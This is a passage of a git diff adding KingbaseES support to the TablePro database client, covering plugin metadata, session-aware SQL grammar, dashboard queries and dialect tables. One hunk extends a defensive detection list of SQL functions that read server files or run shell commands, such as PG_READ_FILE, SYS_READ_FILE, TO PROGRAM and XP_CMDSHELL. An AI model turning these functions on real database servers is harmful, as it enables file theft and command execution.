             SyncStatement(sql: statement, objectName: table, summary: summary, hazards: hazards)
         }
     }
@@ -881,7 +892,10 @@ internal struct ObjectCopyPlanner {
         /// engines alone, so one skip per object here costs nothing while reading every body first
         /// and discarding all of them costs a round trip per object.
         if let reason = ObjectCopyEligibility.definitionEngineRefusal(
-            from: request.source.databaseType, to: request.target.databaseType
+            from: request.source.databaseType,
+            to: request.target.databaseType,
+            sourceSession: manager.driver(for: request.source.connectionId)?.sessionLexicalState,
+            targetSession: manager.driver(for: request.target.connectionId)?.sessionLexicalState
         ) {
             skipped += selections.map { ObjectCopySkip(selection: $0, reason: reason) }
             return []
@@ -907,7 +921,12 @@ internal struct ObjectCopyPlanner {
             sourceReads: sourceReads,
             connection: connection
         )
-        let targetScriptText = SQLScriptText(databaseType: request.target.databaseType)
+        let targetScriptText = SQLScriptText(
+            databaseType: request.target.databaseType,
+            grammar: SQLLexicalResolver.executionGrammar(
+                for: request.target.databaseType, connectionId: request.target.connectionId
+            )
+        )
         var pending: [(
             selection: ObjectCopySelection, definition: String, read: RoutineSourceRead, target: ObjectCopySelection?
         )] = []
diff --git a/apple/TablePro/Core/ObjectCopy/ObjectCopySession.swift b/apple/TablePro/Core/ObjectCopy/ObjectCopySession.swift
index d70010ee22..3c3b28e2e1 100644
--- a/apple/TablePro/Core/ObjectCopy/ObjectCopySession.swift
+++ b/apple/TablePro/Core/ObjectCopy/ObjectCopySession.swift
@@ -183,7 +183,9 @@ internal final class ObjectCopySession: ObservableObject {
                 from: source.databaseType,
                 to: target.databaseType,
                 sourceLanguage: PluginManager.shared.editorLanguage(for: source.databaseType),
-                targetLanguage: PluginManager.shared.editorLanguage(for: target.databaseType)
+                targetLanguage: PluginManager.shared.editorLanguage(for: target.databaseType),
+                sourceSession: SQLLexicalResolver.sessionState(for: source.connectionId),
+                targetSession: SQLLexicalResolver.sessionState(for: target.connectionId)
             ) {
                 return reason
             }
diff --git a/apple/TablePro/Core/Plugins/DatabaseType+Registry.swift b/apple/TablePro/Core/Plugins/DatabaseType+Registry.swift
index 2834f53641..a05f015296 100644
--- a/apple/TablePro/Core/Plugins/DatabaseType+Registry.swift
+++ b/apple/TablePro/Core/Plugins/DatabaseType+Registry.swift
@@ -175,6 +175,8 @@ extension DatabaseType {
                 Preferred tries TLS first, falls back to plain. Matches psql and DataGrip defaults. \
                 Required by AWS RDS, Cloud SQL, Heroku, Supabase, Neon.
                 """)
+        case "KingbaseES":
+            return String(localized: "Preferred tries TLS first, falls back to plain.")
         case _ where pluginTypeId == "MySQL":
             return String(localized: """
                 Preferred performs a 2-pass connect: tries TLS first, falls back to plain only on \
diff --git a/apple/TablePro/Core/Plugins/ExportDataSourceAdapter.swift b/apple/TablePro/Core/Plugins/ExportDataSourceAdapter.swift
index 0f0d3cc92f..3a57d99e8c 100644
--- a/apple/TablePro/Core/Plugins/ExportDataSourceAdapter.swift
+++ b/apple/TablePro/Core/Plugins/ExportDataSourceAdapter.swift
@@ -408,7 +408,10 @@ final class ExportDataSourceAdapter: PluginExportDataSource, @unchecked Sendable
     /// Through the same owner Compare & Sync saves its scripts with, so a dump ends an Oracle unit on a `/` line and
     /// puts a MySQL routine in a `DELIMITER` block exactly as a saved sync script does.
     func scriptText(for ddl: String) -> String {
-        SQLScriptText(databaseType: dbType).scriptText(forDriverText: ddl)
+        SQLScriptText(
+            databaseType: dbType,
+            grammar: SQLLexicalResolver.readings(for: dbType, session: driver.sessionLexicalState).execution
+        ).scriptText(forDriverText: ddl)
     }
 
     /// `tableType` carries the routine's own kind for a `.routine`, because `DROP FUNCTION` and
diff --git a/apple/TablePro/Core/Plugins/ImportDataSinkAdapter.swift b/apple/TablePro/Core/Plugins/ImportDataSinkAdapter.swift
index f4fa5c70ea..4478e37f26 100644
--- a/apple/TablePro/Core/Plugins/ImportDataSinkAdapter.swift
+++ b/apple/TablePro/Core/Plugins/ImportDataSinkAdapter.swift
@@ -97,7 +97,7 @@ final class ImportDataSinkAdapter: PluginImportDataSink, @unchecked Sendable {
         self.joinsTransaction = joinsTransaction
         self.driver = driver
         self.databaseType = databaseType
-        self.grammar = databaseType.lexicalGrammar
+        self.grammar = SQLLexicalResolver.readings(for: databaseType, session: driver.sessionLexicalState).execution
         self.tableEditDialect = TableEditDialect.of(databaseType)
         self.databaseTypeId = databaseType.rawValue
         self.targetTable = targetTable
@@ -600,9 +600,8 @@ final class ImportDataSinkAdapter: PluginImportDataSink, @unchecked Sendable {
 
     /// `ROLLBACK TO SAVEPOINT` keeps the transaction, and the classifier already reads it as not ending one.
     private func fileTransactionEnd(of statement: String) -> FileTransactionEnd? {
-        guard CatalogChangeClassifier.effect(of: statement, databaseType: databaseType).endsTransaction else {
-            return nil
-        }
+        let effect = CatalogChangeClassifier.effect(of: statement, databaseType: databaseType, grammar: grammar)
+        guard effect.endsTransaction else { return nil }
         return Self.rollbackKeywords.contains(QueryClassifier.leadingKeyword(of: statement)) ? .rollback : .commit
     }
 
diff --git a/apple/TablePro/Core/Plugins/ImportTypeMapper.swift b/apple/TablePro/Core/Plugins/ImportTypeMapper.swift
index 02d3916b03..9f88679c97 100644
--- a/apple/TablePro/Core/Plugins/ImportTypeMapper.swift
+++ b/apple/TablePro/Core/Plugins/ImportTypeMapper.swift
@@ -13,7 +13,7 @@ enum ImportTypeMapper {
         serverVersion: String? = nil
     ) -> String {
         switch databaseType {
-        case .postgresql, .redshift, .cockroachdb:
+        case .postgresql, .redshift, .cockroachdb, .kingbasees:
             return postgresType(
                 type,
                 jsonColumnType: PostgreSQLServerVersion.jsonColumnType(
diff --git a/apple/TablePro/Core/Plugins/PluginMetadataRegistry+CuratedDefaults.swift b/apple/TablePro/Core/Plugins/PluginMetadataRegistry+CuratedDefaults.swift
index 872fd315f8..b194fc5c04 100644
--- a/apple/TablePro/Core/Plugins/PluginMetadataRegistry+CuratedDefaults.swift
+++ b/apple/TablePro/Core/Plugins/PluginMetadataRegistry+CuratedDefaults.swift
@@ -716,7 +716,7 @@ extension PluginMetadataRegistry {
         ]
         return defaults + mysqlVariantDefaults(
             dialect: mysqlDialect, mysqlColumnTypes: mysqlColumnTypes, idleReleaseField: mysqlIdleReleaseField
-        )
+        ) + defaults.filter { $0.typeId == "PostgreSQL" }.flatMap { kingbaseESDefaults(postgreSQL: $0.snapshot) }
     }
 }
 
diff --git a/apple/TablePro/Core/Plugins/PluginMetadataRegistry+KingbaseESDefaults.swift b/apple/TablePro/Core/Plugins/PluginMetadataRegistry+KingbaseESDefaults.swift
new file mode 100644
index 0000000000..7e42690355
--- /dev/null
+++ b/apple/TablePro/Core/Plugins/PluginMetadataRegistry+KingbaseESDefaults.swift
@@ -0,0 +1,41 @@
+//
+//  PluginMetadataRegistry+KingbaseESDefaults.swift
+//  TablePro
+//
+
+import Foundation
+import TableProPluginKit
+
+extension PluginMetadataRegistry {
+    // Created by initdb on V9R1C10; dbms_sql, sys and wmsys exist only in an Oracle-mode cluster.
+    static let kingbaseESSystemSchemaNames = [
+        "pg_catalog", "information_schema", "pg_toast", "sys_catalog", "sys", "anon", "dbms_job", "dbms_scheduler",
+        "dbms_sql", "kdb_schedule", "perf", "pg_bitmapindex", "src_restrict", "sys_hm", "sysaudit", "sysmac", "wmsys",
+        "xlog_record_read",
+    ]
+
+    /// KingbaseES runs PostgreSQL's catalogs and wire protocol, so its entry is PostgreSQL's with its own identity
+    /// and without the cloud and Kerberos sign-in fields, which its servers do not offer.
+    static func kingbaseESDefaults(postgreSQL: PluginMetadataSnapshot) -> [(typeId: String, snapshot: PluginMetadataSnapshot)] {
+        [("KingbaseES", PluginMetadataSnapshot(
+            displayName: "KingbaseES", iconName: "cylinder", defaultPort: 54_321,
+            requiresAuthentication: true, supportsForeignKeys: postgreSQL.supportsForeignKeys,
+            supportsSchemaEditing: postgreSQL.supportsSchemaEditing, isDownloadable: true,
+            primaryUrlScheme: "kingbase", parameterStyle: .dollar,
+            navigationModel: postgreSQL.navigationModel, explainVariants: postgreSQL.explainVariants,
+            pathFieldRole: .database, supportsHealthMonitor: postgreSQL.supportsHealthMonitor,
+            urlSchemes: ["kingbase", "kingbase8"], postConnectActions: postgreSQL.postConnectActions,
+            brandColorHex: "#C9141E", queryLanguageName: "SQL", editorLanguage: .sql,
+            connectionMode: .network, supportsDatabaseSwitching: postgreSQL.supportsDatabaseSwitching,
+            structureEditing: postgreSQL.structureEditing,
+            capabilities: postgreSQL.capabilities, schema: postgreSQL.schema, editor: postgreSQL.editor,
+            connection: PluginMetadataSnapshot.ConnectionConfig(
+                additionalConnectionFields: postgreSQL.connection.additionalConnectionFields.filter {
+                    ["usePgpass", "connectionOptions"].contains($0.id)
+                },
+                category: .relational,
+                tagline: String(localized: "PostgreSQL and Oracle compatible SQL")
+            )
+        ).withSystemNames(databases: postgreSQL.schema.systemDatabaseNames, schemas: kingbaseESSystemSchemaNames))]
+    }
+}
diff --git a/apple/TablePro/Core/ServerDashboard/Providers/PostgreSQLDashboardProvider.swift b/apple/TablePro/Core/ServerDashboard/Providers/PostgreSQLDashboardProvider.swift
index 43fabd37bd..7a13e22f1a 100644
--- a/apple/TablePro/Core/ServerDashboard/Providers/PostgreSQLDashboardProvider.swift
+++ b/apple/TablePro/Core/ServerDashboard/Providers/PostgreSQLDashboardProvider.swift
@@ -148,7 +148,8 @@ private extension PostgreSQLDashboardProvider {
                 label: String(localized: "Uptime"),
                 unit: "",
                 icon: "clock",
-                query: "SELECT date_trunc('second', now() - pg_postmaster_start_time())::text"
+                // KingbaseES in Oracle mode subtracts timestamps into an Oracle interval, printed as +000000000 00:20:19.
+                query: "SELECT date_trunc('second', CAST(now() - pg_postmaster_start_time() AS pg_catalog.interval))::text"
             ),
             MetricDefinition(
                 id: "active_queries",
diff --git a/apple/TablePro/Core/ServerDashboard/ServerDashboardQueryProviderFactory.swift b/apple/TablePro/Core/ServerDashboard/ServerDashboardQueryProviderFactory.swift
index e79f232f0e..03c6fe62f4 100644
--- a/apple/TablePro/Core/ServerDashboard/ServerDashboardQueryProviderFactory.swift
+++ b/apple/TablePro/Core/ServerDashboard/ServerDashboardQueryProviderFactory.swift
@@ -67,7 +67,7 @@ private enum DashboardEngine {
 
     init?(_ databaseType: DatabaseType) {
         switch databaseType {
-        case .postgresql:
+        case .postgresql, .kingbasees:
             self = .postgresql
         case .redshift:
             self = .redshift
diff --git a/apple/TablePro/Core/Services/CellValues/CellExpressionVocabulary.swift b/apple/TablePro/Core/Services/CellValues/CellExpressionVocabulary.swift
index 998e44d9f0..d46a043edc 100644
--- a/apple/TablePro/Core/Services/CellValues/CellExpressionVocabulary.swift
+++ b/apple/TablePro/Core/Services/CellValues/CellExpressionVocabulary.swift
@@ -59,7 +59,7 @@ struct CellExpression: Hashable, Sendable {
 enum CellExpressionVocabulary {
     static func expressions(for databaseType: DatabaseType) -> [CellExpression] {
         switch databaseType {
-        case .postgresql, .pglite: postgreSQL
+        case .postgresql, .pglite, .kingbasees: postgreSQL
         case .cockroachdb: cockroachDB
         case .redshift: redshift
         case .mysql, .mariadb, .tidb, .oceanbase: mySQL
diff --git a/apple/TablePro/Core/Services/Execution/TransactionEngineFamily.swift b/apple/TablePro/Core/Services/Execution/TransactionEngineFamily.swift
index e0594f8a7b..bc761bd61d 100644
--- a/apple/TablePro/Core/Services/Execution/TransactionEngineFamily.swift
+++ b/apple/TablePro/Core/Services/Execution/TransactionEngineFamily.swift
@@ -70,6 +70,7 @@ internal enum TransactionEngineFamily: String, Hashable, Sendable, CaseIterable
         "AlloyDB": .postgres,
         "Citus": .postgres,
         "Greenplum": .postgres,
+        "KingbaseES": .postgres,
         "Redshift": .redshift,
         "CockroachDB": .cockroach,
         "MySQL": .mysql,
diff --git a/apple/TablePro/Core/Services/Export/ImportService.swift b/apple/TablePro/Core/Services/Export/ImportService.swift
index c7b26a9aee..079b902492 100644
--- a/apple/TablePro/Core/Services/Export/ImportService.swift
+++ b/apple/TablePro/Core/Services/Export/ImportService.swift
@@ -97,7 +97,7 @@ final class ImportService: ObservableObject {
             source = SqlFileImportSource(
                 url: url,
                 encoding: encoding,
-                grammar: connection.type.lexicalGrammar,
+                grammar: SQLLexicalResolver.executionGrammar(for: connection.type, connectionId: connection.id),
                 family: TransactionEngineFamily.of(connection.type),
                 decompressedURL: decompressedURL,
                 ownsDecompressedFile: ownsDecompressedFile
diff --git a/apple/TablePro/Core/Services/Export/RowImportTableMaker.swift b/apple/TablePro/Core/Services/Export/RowImportTableMaker.swift
index c9c235ec9b..4215ed31d6 100644
--- a/apple/TablePro/Core/Services/Export/RowImportTableMaker.swift
+++ b/apple/TablePro/Core/Services/Export/RowImportTableMaker.swift
@@ -133,7 +133,10 @@ internal struct RowImportTableMaker {
             OperationRequest(
                 connectionId: connection.id,
                 databaseType: connection.type,
-                sql: SQLScriptText(databaseType: connection.type).script(statements),
+                sql: SQLScriptText(
+                    databaseType: connection.type,
+                    grammar: SQLLexicalResolver.executionGrammar(for: connection.type, connectionId: connection.id)
+                ).script(statements),
                 kind: clears ? .destructiveQuery : .schemaMutation,
                 caller: .userInterface,
                 capabilities: .interactiveUser,
diff --git a/apple/TablePro/Core/Services/Query/CatalogChangeService.swift b/apple/TablePro/Core/Services/Query/CatalogChangeService.swift
index 223ef4e0b2..9609750904 100644
--- a/apple/TablePro/Core/Services/Query/CatalogChangeService.swift
+++ b/apple/TablePro/Core/Services/Query/CatalogChangeService.swift
@@ -131,7 +131,11 @@ final class CatalogChangeService {
 
     private func recordStatements(_ statements: [String], databaseType: DatabaseType, connectionId: UUID) {
         recordNameHazards(of: statements, databaseType: databaseType, connectionId: connectionId)
-        let effect = CatalogChangeClassifier.effect(ofStatements: statements, databaseType: databaseType)
+        let effect = CatalogChangeClassifier.effect(
+            ofStatements: statements,
+            databaseType: databaseType,
+            grammar: SQLLexicalResolver.executionGrammar(for: databaseType, connectionId: connectionId)
+        )
         var kinds = effect.kinds
         if effect.endsTransaction {
             kinds.formUnion(Self.transactionEndKinds)
@@ -145,14 +149,14 @@ final class CatalogChangeService {
     /// chain and a drop of a name another statement just freed both land on the right table.
     private func recordCommittedTableEdits(of succeeded: SucceededStatements) {
         let connectionId = succeeded.scope.connectionId
+        let grammar = SQLLexicalResolver.executionGrammar(for: succeeded.databaseType, connectionId: connectionId)
         recordNameHazards(
             of: DatabaseManager.startupStatements(
-                from: startupCommands(connectionId), databaseType: succeeded.databaseType
+                from: startupCommands(connectionId), databaseType: succeeded.databaseType, grammar: grammar
             ),
             databaseType: succeeded.databaseType,
             connectionId: connectionId
         )
-        let grammar = SQLLexicalResolver.executionGrammar(for: succeeded.databaseType, connectionId: connectionId)
         var hazards = nameHazards[connectionId] ?? TableNameHazards()
         let edits = CommittedTableEdits.edits(in: succeeded, grammar: grammar, hazards: &hazards)
         nameHazards[connectionId] = hazards
diff --git a/apple/TablePro/Core/Services/Query/ExplainPlanFormatDefaults.swift b/apple/TablePro/Core/Services/Query/ExplainPlanFormatDefaults.swift
index 2c9d318404..b5aaadfd58 100644
--- a/apple/TablePro/Core/Services/Query/ExplainPlanFormatDefaults.swift
+++ b/apple/TablePro/Core/Services/Query/ExplainPlanFormatDefaults.swift
@@ -13,7 +13,7 @@ import TableProPluginKit
 enum ExplainPlanFormatDefaults {
     static func format(for databaseType: DatabaseType) -> ExplainPlanFormat {
         switch databaseType {
-        case .postgresql, .pglite:
+        case .postgresql, .pglite, .kingbasees:
             return .postgresJson
         case .mysql, .mariadb:
             return .mysqlComposite
diff --git a/apple/TablePro/Core/Utilities/SQL/CatalogChangeClassifier.swift b/apple/TablePro/Core/Utilities/SQL/CatalogChangeClassifier.swift
index 26d3ffb7e2..d6c229999e 100644
--- a/apple/TablePro/Core/Utilities/SQL/CatalogChangeClassifier.swift
+++ b/apple/TablePro/Core/Utilities/SQL/CatalogChangeClassifier.swift
@@ -8,13 +8,21 @@ import TableProSQLGrammar
 
 // SQL is read by SQLCatalogEffectClassifier, shared with iOS; engines that do not speak SQL are decided here.
 enum CatalogChangeClassifier {
-    static func effect(ofStatements statements: [String], databaseType: DatabaseType) -> SQLCatalogEffect {
+    static func effect(
+        ofStatements statements: [String],
+        databaseType: DatabaseType,
+        grammar: SQLLexicalGrammar? = nil
+    ) -> SQLCatalogEffect {
         statements.reduce(SQLCatalogEffect.none) { partial, statement in
-            partial.union(effect(of: statement, databaseType: databaseType))
+            partial.union(effect(of: statement, databaseType: databaseType, grammar: grammar))
         }
     }
 
-    static func effect(of sql: String, databaseType: DatabaseType) -> SQLCatalogEffect {
+    static func effect(
+        of sql: String,
+        databaseType: DatabaseType,
+        grammar: SQLLexicalGrammar? = nil
+    ) -> SQLCatalogEffect {
         let trimmed = StatementBlank.trimming(SQLLeadingComments.stripping(sql))
         guard !trimmed.isEmpty else { return .none }
         if databaseType == .redis {
@@ -27,7 +35,7 @@ enum CatalogChangeClassifier {
         if let request = dynamoDBRequestEffect(trimmed, databaseType: databaseType) {
             return request
         }
-        return SQLCatalogEffectClassifier.effect(of: trimmed, grammar: databaseType.lexicalGrammar)
+        return SQLCatalogEffectClassifier.effect(of: trimmed, grammar: grammar ?? databaseType.lexicalGrammar)
     }
 
     // PartiQL, and an action the driver does not know, which goes out as PartiQL, take the SQL path.
diff --git a/apple/TablePro/Core/Utilities/SQL/QueryClassifier+PLSQL.swift b/apple/TablePro/Core/Utilities/SQL/QueryClassifier+PLSQL.swift
index 262fa94ada..c179696233 100644
--- a/apple/TablePro/Core/Utilities/SQL/QueryClassifier+PLSQL.swift
+++ b/apple/TablePro/Core/Utilities/SQL/QueryClassifier+PLSQL.swift
@@ -16,10 +16,6 @@ import TableProSQLGrammar
 /// spell out and never below a write. Dynamic SQL built from variables cannot be read, which leaves it where a `CALL`
 /// of a stored procedure is: a write whose effect the text does not show.
 extension QueryClassifier {
-    static func runsPLSQL(_ sql: String, databaseType: DatabaseType) -> Bool {
-        SQLProceduralBlock.runsPLSQL(sql, grammar: databaseType.lexicalGrammar)
-    }
-
     static func proceduralBlockClassification(
         _ trimmed: String,
         grammar: SQLLexicalGrammar,
diff --git a/apple/TablePro/Core/Utilities/SQL/QueryClassifier.swift b/apple/TablePro/Core/Utilities/SQL/QueryClassifier.swift
index 14cc6a3c49..0669a1d8ae 100644
--- a/apple/TablePro/Core/Utilities/SQL/QueryClassifier.swift
+++ b/apple/TablePro/Core/Utilities/SQL/QueryClassifier.swift
@@ -258,7 +258,10 @@ private extension QueryClassifier {
         options: []
     )
 
-    static let enginesWithSequencePseudoColumns: Set<DatabaseType> = [.oracle, .sapHana, .snowflake, .dameng, .mariadb]
+    // KingbaseES has it in Oracle mode only, and its type id cannot say which mode a server runs.
+    static let enginesWithSequencePseudoColumns: Set<DatabaseType> = [
+        .oracle, .sapHana, .snowflake, .dameng, .mariadb, .kingbasees,
+    ]
 
     static func advancesSequence(_ body: String, databaseType: DatabaseType) -> Bool {
         let range = NSRange(body.startIndex..., in: body)
@@ -300,6 +303,7 @@ private extension QueryClassifier {
     static let filesystemMarkers: [String] = [
         "INTO OUTFILE", "INTO DUMPFILE", "TO PROGRAM", "FROM PROGRAM", "VACUUM INTO",
         "LOAD_FILE(", "PG_READ_FILE(", "PG_READ_BINARY_FILE(", "PG_LS_DIR(",
+        "SYS_READ_FILE(", "SYS_READ_BINARY_FILE(", "SYS_LS_DIR(",
         "LO_IMPORT(", "LO_EXPORT(", "PG_FILE_WRITE(", "LOAD_EXTENSION(",
         "READFILE(", "WRITEFILE(", "FN_GET_AUDIT_FILE(", "XP_CMDSHELL", "SP_OACREATE"
     ]
diff --git a/apple/TablePro/Core/Utilities/SQL/SQLFileParser.swift b/apple/TablePro/Core/Utilities/SQL/SQLFileParser.swift
index c465dee946..132c1c7e17 100644
--- a/apple/TablePro/Core/Utilities/SQL/SQLFileParser.swift
+++ b/apple/TablePro/Core/Utilities/SQL/SQLFileParser.swift
@@ -298,6 +298,16 @@ final class SQLFileParser: Sendable {
             flushWord(&ctx)
         }
         guard SqlBlockStructure.startsWord(nsBuffer, at: i, length: bufLen, grammar: ctx.grammar) else { return .none }
+        // `E'...'` is a literal, and the escape-string branch that reads it never runs once `E` starts a word.
+        if ctx.grammar.contains(.escapeStringPrefix), char == kCapitalE || char == kSmallE,
+           !SQLNonCodeSpan.isWordUnit(ctx.previousUnit) {
+            if i + 1 < bufLen {
+                if nsBuffer.character(at: i + 1) == kSingleQuote { return .none }
+            } else if !ctx.atEndOfInput {
+                ctx.previousUnitInWord = followsWord
+                return .needsMoreData
+            }
+        }
         if readsAlternativeQuotes, !SQLNonCodeSpan.isWordUnit(ctx.previousUnit),
            let quoteLength = alternativeQuotePrefixLength(nsBuffer, at: i, bufLen: bufLen) {
             if quoteLength > 0 {
@@ -425,7 +435,7 @@ final class SQLFileParser: Sendable {
             appendRange(&ctx, from: i, to: i + prefixLength, in: nsBuffer)
             ctx.alternativeQuoteCloser = alternativeQuoteCloser(for: nsBuffer.character(at: i + prefixLength - 1))
             ctx.state = .inAlternativeQuote
-            ctx.boundaries?.observeOpaqueToken()
+            ctx.boundaries?.observeQuotedToken(opener: char)
             i += prefixLength
             return StepResult(advanced: true, deferred: false)
         case .none:
@@ -479,6 +489,7 @@ final class SQLFileParser: Sendable {
             ctx.state = .inSingleQuotedString
             ctx.quoteChar = kSingleQuote
             ctx.backslashEscapesActive = true
+            ctx.boundaries?.observeQuotedToken(opener: char)
             i += 2
             return StepResult(advanced: true, deferred: false)
         }
@@ -488,7 +499,7 @@ final class SQLFileParser: Sendable {
                 ctx.hasStatementContent, ctx.statementStartLine, ctx.currentLine)
             appendChar(char, to: ctx.currentStatement)
             ctx.state = .inBracketedIdentifier
-            ctx.boundaries?.observeOpaqueToken()
+            ctx.boundaries?.observeQuotedToken(opener: char)
             return StepResult(advanced: false, deferred: false)
         }
 
@@ -501,7 +512,7 @@ final class SQLFileParser: Sendable {
                     let openerRange = NSRange(location: i, length: length)
                     target.append(nsBuffer.substring(with: openerRange))
                 }
-                ctx.boundaries?.observeOpaqueToken()
+                ctx.boundaries?.observeQuotedToken(opener: char)
                 ctx.state = .inDollarQuote
                 ctx.dollarTag = tag
                 i += length
@@ -525,7 +536,7 @@ final class SQLFileParser: Sendable {
         }
 
         if let advanced = processQuoteOpen(&ctx, char: char, nextChar: nextChar) {
-            ctx.boundaries?.observeOpaqueToken()
+            ctx.boundaries?.observeQuotedToken(opener: char)
             if advanced { i += 2 }
             return StepResult(advanced: advanced, deferred: false)
         }
@@ -708,7 +719,7 @@ final class SQLFileParser: Sendable {
         ctx.state = .inTripleQuotedString
         ctx.quoteChar = quote
         ctx.backslashEscapesActive = ctx.grammar.backslashEscapes(inQuote: quote)
-        ctx.boundaries?.observeOpaqueToken()
+        ctx.boundaries?.observeQuotedToken(opener: quote)
     }
 
     /// Runs a triple-quoted literal to the three quotes that close it, holding back a quote or a backslash the buffer
diff --git a/apple/TablePro/Core/Utilities/SQL/SQLLexicalResolver.swift b/apple/TablePro/Core/Utilities/SQL/SQLLexicalResolver.swift
index 3ede0ba639..3d5fd13cc5 100644
--- a/apple/TablePro/Core/Utilities/SQL/SQLLexicalResolver.swift
+++ b/apple/TablePro/Core/Utilities/SQL/SQLLexicalResolver.swift
@@ -28,8 +28,21 @@ enum SQLLexicalResolver {
     /// The grammar a script is split with for execution on `connectionId`, with the driver's session facts applied.
     @MainActor
     static func executionGrammar(for databaseType: DatabaseType, connectionId: UUID) -> SQLLexicalGrammar {
-        let session = DatabaseManager.shared.driver(for: connectionId)?.sessionLexicalState
-        return readings(for: databaseType, session: session).execution
+        readings(for: databaseType, session: sessionState(for: connectionId)).execution
+    }
+
+    /// The grammar for text bound to `scope`, read from the driver holding that database: a connection that keeps one
+    /// session per database can hold different session facts on each.
+    @MainActor
+    static func executionGrammar(for databaseType: DatabaseType, scope: DatabaseScope) -> SQLLexicalGrammar {
+        readings(for: databaseType, session: DatabaseManager.shared.sessionDriver(holding: scope)?.sessionLexicalState)
+            .execution
+    }
+
+    /// What the connected driver read from its session, or `nil` while `connectionId` has none.
+    @MainActor
+    static func sessionState(for connectionId: UUID) -> PluginSessionLexicalState? {
+        DatabaseManager.shared.driver(for: connectionId)?.sessionLexicalState
     }
 
     private static func declaredGrammar(for databaseType: DatabaseType) -> SQLLexicalGrammar? {
diff --git a/apple/TablePro/Core/Utilities/SQL/SQLRowToStatementConverter.swift b/apple/TablePro/Core/Utilities/SQL/SQLRowToStatementConverter.swift
index a60c1dcb85..70d1741469 100644
--- a/apple/TablePro/Core/Utilities/SQL/SQLRowToStatementConverter.swift
+++ b/apple/TablePro/Core/Utilities/SQL/SQLRowToStatementConverter.swift
@@ -233,7 +233,7 @@ internal struct SQLRowToStatementConverter {
             hex += String(format: "%02X", byte)
         }
         switch databaseType {
-        case .postgresql, .redshift, .cockroachdb:
+        case .postgresql, .redshift, .cockroachdb, .pglite, .kingbasees:
             return "'\\x\(hex)'::bytea"
         case .mssql:
             return "0x\(hex)"
diff --git a/apple/TablePro/Core/Utilities/SQL/SQLScriptText.swift b/apple/TablePro/Core/Utilities/SQL/SQLScriptText.swift
index 560661b8e0..a70d3f00f8 100644
--- a/apple/TablePro/Core/Utilities/SQL/SQLScriptText.swift
+++ b/apple/TablePro/Core/Utilities/SQL/SQLScriptText.swift
@@ -28,9 +28,14 @@ internal struct SQLScriptText {
     private let grammar: SQLLexicalGrammar
 
     internal init(databaseType: DatabaseType) {
+        self.init(databaseType: databaseType, grammar: databaseType.lexicalGrammar)
+    }
+
+    /// `grammar` is the session's execution grammar, which a server setting such as KingbaseES Oracle mode changes.
+    internal init(databaseType: DatabaseType, grammar: SQLLexicalGrammar) {
         self.databaseType = databaseType
         self.dialect = SqlDialect.from(databaseTypeId: databaseType.rawValue)
-        self.grammar = databaseType.lexicalGrammar
+        self.grammar = grammar
     }
 
     /// The statements `text` holds, each exactly as the driver receives it in one call, in order.
diff --git a/apple/TablePro/Info.plist b/apple/TablePro/Info.plist
index 9ac41c6a57..a6ec1fc9d6 100644
--- a/apple/TablePro/Info.plist
+++ b/apple/TablePro/Info.plist
@@ -581,6 +581,8 @@
 			<array>
 				<string>postgresql</string>
 				<string>postgres</string>
+				<string>kingbase</string>
+				<string>kingbase8</string>
 				<string>mysql</string>
 				<string>mariadb</string>
 				<string>tidb</string>
diff --git a/apple/TablePro/Models/Connection/DatabaseType.swift b/apple/TablePro/Models/Connection/DatabaseType.swift
index 54359866a6..bce99781a3 100644
--- a/apple/TablePro/Models/Connection/DatabaseType.swift
+++ b/apple/TablePro/Models/Connection/DatabaseType.swift
@@ -26,6 +26,7 @@ extension DatabaseType {
     static let pglite = DatabaseType(rawValue: "PGlite")
 
     // Registry-distributed types (known plugins, downloadable separately)
+    static let kingbasees = DatabaseType(rawValue: "KingbaseES")
     static let mongodb = DatabaseType(rawValue: "MongoDB")
     static let redis = DatabaseType(rawValue: "Redis")
     static let mssql = DatabaseType(rawValue: "SQL Server")
diff --git a/apple/TablePro/Models/Schema/ColumnDefaultVocabulary.swift b/apple/TablePro/Models/Schema/ColumnDefaultVocabulary.swift
index 87daeaefb7..1f48338188 100644
--- a/apple/TablePro/Models/Schema/ColumnDefaultVocabulary.swift
+++ b/apple/TablePro/Models/Schema/ColumnDefaultVocabulary.swift
@@ -7,8 +7,8 @@ import Foundation
 /// a statement the server rejects.
 ///
 /// Curated in the app and keyed by database type id. It cannot be keyed by plugin: MySQL and MariaDB
-/// share one and spell an expression default differently; PostgreSQL, Redshift, CockroachDB and PGlite
-/// share one, and only two of them have `gen_random_uuid()`.
+/// share one and spell an expression default differently; PostgreSQL, Redshift, CockroachDB, PGlite and
+/// KingbaseES share one, and Redshift and KingbaseES have no `gen_random_uuid()`.
 ///
 /// What belongs here is the vocabulary, not the syntax. MySQL takes a `TEXT` or `JSON` default only in
 /// parentheses whatever the value is, so that parenthesising is the MySQL driver's job at the point it
@@ -36,10 +36,11 @@ internal enum ColumnDefaultVocabulary {
     }
 
     /// Oracle treats a zero-length character value as null, so `DEFAULT ''` and `DEFAULT NULL` are the
-    /// same statement there and offering both would be a lie. Dameng follows Oracle.
+    /// same statement there and offering both would be a lie. Dameng follows Oracle, and so does KingbaseES
+    /// in Oracle mode, which its type id cannot tell from PostgreSQL mode.
     private static func offersEmptyString(_ databaseType: DatabaseType) -> Bool {
         switch databaseType {
-        case .oracle, .dameng: false
+        case .oracle, .dameng, .kingbasees: false
         default: true
         }
     }
@@ -52,6 +53,8 @@ internal enum ColumnDefaultVocabulary {
             return ["CURRENT_TIMESTAMP", "uuid()", "curdate()"]
         case .postgresql, .pglite:
             return ["CURRENT_TIMESTAMP", "now()", "CURRENT_DATE", "gen_random_uuid()", "true", "false"]
+        case .kingbasees:
+            return ["CURRENT_TIMESTAMP", "now()", "CURRENT_DATE", "true", "false"]
         case .cockroachdb:
             return ["current_timestamp()", "now()", "gen_random_uuid()", "unique_rowid()", "true", "false"]
         case .redshift:
diff --git a/apple/TablePro/Models/Schema/ForeignKeyDialect.swift b/apple/TablePro/Models/Schema/ForeignKeyDialect.swift
index fe1f2d3fce..ace0be0dad 100644
--- a/apple/TablePro/Models/Schema/ForeignKeyDialect.swift
+++ b/apple/TablePro/Models/Schema/ForeignKeyDialect.swift
@@ -51,7 +51,7 @@ struct ForeignKeyDialect: Equatable, Sendable {
                 allowsQualifiedReferencedTable: true,
                 allowsOmittedReferencedColumns: false
             )
-        case .postgresql, .pglite, .cockroachdb, .redshift:
+        case .postgresql, .pglite, .cockroachdb, .redshift, .kingbasees:
             return ForeignKeyDialect(
                 deleteActions: everyAction,
                 updateActions: everyAction,
diff --git a/apple/TablePro/Models/Schema/IndexKeyDialect.swift b/apple/TablePro/Models/Schema/IndexKeyDialect.swift
